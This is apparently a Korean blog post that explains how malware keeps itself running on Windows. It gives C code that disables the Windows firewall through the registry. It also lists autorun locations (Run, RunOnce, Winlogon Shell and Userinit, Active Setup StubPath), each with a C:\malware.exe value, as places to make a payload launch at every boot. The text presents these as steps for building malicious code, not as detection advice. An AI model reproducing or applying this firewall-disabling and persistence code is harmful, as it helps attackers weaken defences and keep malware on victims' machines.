악성 코드는 시작 레지스트리에 악성 코드를 주입하여 시스템이 재부팅될때마다 자동으로 실행될 수 있도록 구현한다.


C언어로 레지스트리를 조작하려면 RegCreateKeyEx() 함수를 사용하여 레지스트리 키를 생성하고, RegSetValueEx() 함수를 사용하여 레지스트리 값을 지정하면 된다.


// 방화벽 해제

#include <windows.h>
#include <tchar.h>
#include <stdio.h>

int _tmain(int argc, _TCHAR* argv[]){
HKEY hKey;
CHAR Name[] = "EnableFirewall"; //레지스트리 이름
CHAR Reg[] = "SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile";

//레지스트리 경로
DWORD dw = 0; //레지스트리 값
RegCreateKeyEx(HKEY_LOCAL_MACHINE, Reg, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL);

//레지스트리 키 생성 함수
RegSetValueEx(hKey, Name, 0, REG_DWORD, (LPBYTE)&dw, sizeof(dw));

//레지스트리 값 지정 함수

return 0;
}

자동 실행 레지스트리 1

윈도우 실행(재부팅) 시 악성 코드가 자동으로 실행되게 하려면 시작 레지스트리 값을 변경해야 한다. Run, RunOnce 경로에서 설정한 값은 msconfig 명령어로 확인할 수 있다.

 

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

- Run : 윈도우 시작 시 매번 실행

- RunOnce : 한 번만 실행



자동 실행 레지스트리 2

윈도우 실행 시 자동으로 실행되는 레지스트리이며, 이곳에 설정한 값은 msconfig 명령어로 확인할 수 없다. 해당 레지스트리 경로를 잘못 설정하면 재부팅 시 화면이 안 보이는 경우가 있다. (주의)


HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

- Shell : explorer.exe C:\malware.exe

- Userinit : %system%userinit.exe,C:\malware



자동 실행 레지스트리 3

윈도우 실행 시 자동으로 실행되는 레지스트리이며, 데이터에 넣어둔 실행파일이 먼저 실행되고 해당 파일을 당아야 바탕화면이 나타난다. (주의)


HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{12345678-1234-1234-1234-123456789101} (임의의 번호)

- StubPath : C:\malware.exe



▶ Windows 화면보호기 레지스트리

▶ 윈도우 웹서버 IIS 보안

▶ 칼리리눅스 레지스트리

  • 카카오톡-공유
  • 네이버-블로그-공유
  • 네이버-밴드-공유
  • 페이스북-공유
  • 트위터-공유
  • 카카오스토리-공유